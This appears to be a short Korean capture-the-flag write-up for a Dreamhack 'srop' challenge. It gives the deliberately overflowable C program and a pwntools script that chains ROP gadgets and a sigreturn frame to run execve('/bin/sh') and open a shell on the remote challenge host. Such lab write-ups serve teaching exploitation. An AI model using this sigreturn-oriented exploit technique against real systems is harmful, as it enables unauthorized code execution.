// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
뭐 이런 ... 우선 pop rax; syscall; ret이 존재하므로 syscall을 사용할 수 있겠다.
https://rninche01.tistory.com/entry/Linux-system-call-table-%EC%A0%95%EB%A6%ACx86-x64
syscall에는 sys_rt_sigreturn, execve 등이 존재한다.
아마 위의 두개를 가지고 exploit을 해야하지 않을까 싶다.
본인은 3번에서 후자의 경우를 이용하였다.
from pwn import *
#p = process('./srop')
p = remote('host3.dreamhack.games', 10653)
e = ELF('./srop')
read_plt = e.plt['read']
bss = 0x0000000000601030
prdi_ret = 0x0000000000400583
prsi_r15_ret = 0x00000000000400581
prax_syscall = 0x00000000004004eb
syscall_addr = 0x00000000004004ec
payload = 'A' * 24
payload += p64(prdi_ret)
payload += p64(0)
payload += p64(prsi_r15_ret)
payload += p64(bss+200)
payload += p64(0)
payload += p64(read_plt)
payload += p64(prax_syscall)
payload += p64(0xf)
sigFrame = SigreturnFrame(arch = 'amd64')
sigFrame.rax = 0x3b
sigFrame.rdi = bss+200
sigFrame.rsi = 0x0
sigFrame.rdx = 0x0
sigFrame.rip = syscall_addr
payload += bytes(sigFrame)
p.send(payload)
sleep(0.5)
p.send("/bin/sh\x00")
p.interactive()